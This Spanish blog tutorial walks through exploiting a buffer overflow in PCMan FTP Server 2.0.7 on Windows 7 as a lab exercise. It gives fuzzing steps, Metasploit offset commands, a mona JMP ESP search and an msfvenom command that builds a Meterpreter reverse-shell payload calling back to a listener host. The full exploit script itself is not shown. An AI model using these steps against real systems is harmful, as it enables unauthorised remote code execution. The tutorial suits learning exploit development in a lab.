Exploiting Buffer Overflow Windows

Bienvenid@s a tod@s, hoy os traigo un nuevo post al blog. Hoy tratamos un caso práctico de cómo explotar una vulnerabilidad de desbordamiento de búfer de una aplicación, en este caso instalada en un Windows 7 de 32 Bits.

Software necesario.

  • PCMan FTP Server 2.0.7. Conseguir aquí exploit-db
  • Immunity Debugger aquí.
  • mona.py plug-in para Immunity. Conseguir aquí.
  • Windows 7 32 Bits.

1.   Introducción.

Para este caso práctico, se nos presenta una breve introducción al mundo del “exploiting”, donde se nos pide tener que realizar una explotación de un software de 32bits en un Windows 7.

Para este caso práctico vamos intentar generar un exploit para el software FTP PCMan 2.0.7.

2.   Fases de la explotación.

Para mantener un orden a lo largo de la explotación vamos a desglosar por apartados. Estos apartados englobarán los siguientes puntos:

  • Localización del BoF.
  • Calculando desplazamiento registro ESP.
  • Construcción del exploit.
  •  Explotación.

2.1. Localización de BoF (Buffer over Flow).

Este punto trata de localizar mediante un fuzzer que vamos a ver en Python, que cantidad de Buffer es necesaria para provocar el buffer over flow. Para esto lo que vamos a realizar es mediante el depurador “Inmmunity” vamos a ver el comportamiento del software mientas ejecutamos el fuzzer. Lo primero que vamos a realizar, será ejecutar el depurador:

Tras abrir el depurador, procedemos a la apertura del software en cuestión que queremos auditar, en nuestro caso FTP PCMan 2.0.7:

Una vez que hemos ejecutado el software que vamos auditar, el siguiente paso es la vinculación entre el depurador y el software, esto lo haremos de la siguiente manera a través del depurador:

  • “File” -> “Attach” y seleccionamos el software.

Esto hará que se monitorice el software en un estado de “pause”, para poder ver los resultados mientras realizamos el fuzzer, tendremos que realizar una monitorización activa, esto lo podemos hacer pulsando “F9” o pulsando en un botón “play”.

Una vez hemos lanzado la monitorización activa del software mediante el depurador, en la esquina inferior derecha, podremos ver algo como esto:

Una vez tenemos el software monitorizado, procedemos a ver el fuzzer, el fuzzer se va encargar de realizar conexiones al software para mandar las cargas, por cada carga que no ocurra nada la multiplicará para comprobar el siguiente rango, de esta manera conseguiremos ver en que rango falla el búfer:

Procedemos a lanzar el fuzzer para comprobar cuando falla el software:

Se verá una salida como la siguiente, donde podremos ver el rango donde se ha producido el BoF (entre 2000 y 2050):

Mientras se ejecuta el fuzzer podemos comprobar lo que ha recibido el software, donde se podrá apreciar como se va obteniendo la información multiplicada:

Si nos dirigimos al depurador, podemos ver que se ha sobrescrito la zona de registro EIP con nuestro búfer, esto podría permitirnos manipular EIP para apuntar a otra dirección dónde podemos ejecutar nuestro payload:

Lo siguiente que vamos a realizar es modificar nuestro fuzzer para crear un exploit, así comprobar realmente si el rango especificado para realizar un BoF en el software es el correcto, para esto modificar el parámetro “buffer” es clave:

  • Buffer = “\x41” * 2050: Esto multiplica \x41 (A) por 2050, lo cual hará tener un búfer de 2050 caracteres.

El resultado final sería como esto:

Si ejecutamos el exploit, el software fallará directamente:

  • Python exploit.py 192.168.10.146 21

Aquí podremos ver como falla el software:

2.2. Calculando desplazamiento registro ESP.

Una ves hemos localizado el valor necesario para provocar Buffer Overflow, el siguiente paso es localizar el registro ESP que podemos sobrescribir para controla el flujo del funcionamiento del software, de esta manera apuntar a otro registro donde tendremos nuestra Shell.

Para realizar esto, lo primero que vamos a realizar es la encontrar el punto exacto de la vulnerabilidad, es decir, localizar el punto exacto donde se sobrescribe EIP. Esto lo vamos hacer con la herramienta “Pattern create” de metasploit. Lo que permite esta herramienta es generar un patrón único de 2050 caracteres, esto tiene una finalidad y es cuando nosotros lanzamos el exploit con este nuevo búfer, sabremos exactamente en qué punto se sobrescribe EIP. Lo primero que tenemos que hacer es lanzar el siguiente comando:

  • /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2050

El siguiente paso que tenemos que hacer es reemplazar el búfer de nuestro exploit, de esta manera sabremos en que dirección exacta se provoca el desbordamiento, teniendo en cuenta que solo genera 2050 caracteres, habría que añadir el resto de caracteres para realizar el desbordamiento, una vez realizado esto, seguimos el mismo proceso de monitorización del software con inmunity visto anteriormente:

El siguiente paso que debemos realizar es el lanzamiento del exploit para forzar el fallo y localizar el registro donde se provoca el desbordamiento:

  • Python exploit.py 192.168.10.162 21

Una vez explotado el fallo, veremos algo parecido a lo siguiente en el depurador:

El siguiente paso es encontrar el registro donde hemos sobrescrito nuestro EIP, para esto hemos generado el nuevo búfer. Para esto vamos a utilizar la herramienta “pattern_offset”:

  • /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2050 -q 43396F43

Esto nos devuelve el número justo de caracteres inyectados necesarios para provocar el BoF en el software. A continuación, vamos a comprobar si podemos modificar nuestro campo EIP a nuestro antojo, esto lo vamos a realizar modificando nuestro exploit de la siguiente manera:

  • buffer = «\x41» * 2007 + «\x42» * 4

Con esto intentamos demostrar que podemos tener control sobre el valor del registro EIP y eso quiere decir que tenemos control sobre le flujo de ejecución del software, provocando así la ejecución de un posible shellcode:

Como se puede observar en la captura, hemos conseguido añadir campos “basura” y controlar el valor que introducimos en el registro EIP.

2.3.  Explotación.

En esta fase, lo que vamos a realizar, es confeccionar nuestro exploit para poder encontrar un salto en la ejecución del software válido para colocar nuestro Shell Code, para esto nos vamos a apoyar de la herramienta mona. Esta herramienta ha sido previamente importada al depurador.

En el propio depurador, nos encontramos con una zona donde podemos llamar a módulos importados al depurador, de esta manera vamos a poder invocar a mona para ayudarnos en el desarrollo de nuestro exploit:

  • !mona jmp -m * -r ESP

En nuestro caso, vamos a seleccionar el registro que hemos indicado en la captura para añadir en el exploit en el registro EIP, en ese registro irá alojado nuestro Shell Code. El siguiente paso que vamos a realizar, es generar nuestro Shell Code con msfvenom:

  • msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.245 LPORT=9999 -b ‘\x00\x0a\x0d’ -f Python
  • -b: Con este parámetro excluimos en la generación del Shell Code esos valores.

A continuación, procedemos a la modificación de nuestro exploit, el cual dejaremos de la siguiente manera:

Tras modificar el exploit, procedemos a montar el servidor de escucha para nuestro Shell Code, esto lo haremos con metasploit:

Una vez montado el servidor, procedemos a la explotación del software:

Y en el servidor de meterpreter que tenemos a la escucha podremos ver los siguiente:

Donde tendremos una Shell con la que podemos interactuar:

3.   Conclusión.

Considero que las vulnerabilidades BoF son muy peligrosas, analizando de manera más técnica gracias a esta práctica, me he dado cuenta de lo importante que es tener en cuenta este tipo de vulnerabilidades y el pequeño mundo que he descubierto en el mundo del exploiting.

Deja una respuesta

Tu dirección de correo electrónico no será publicada.

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.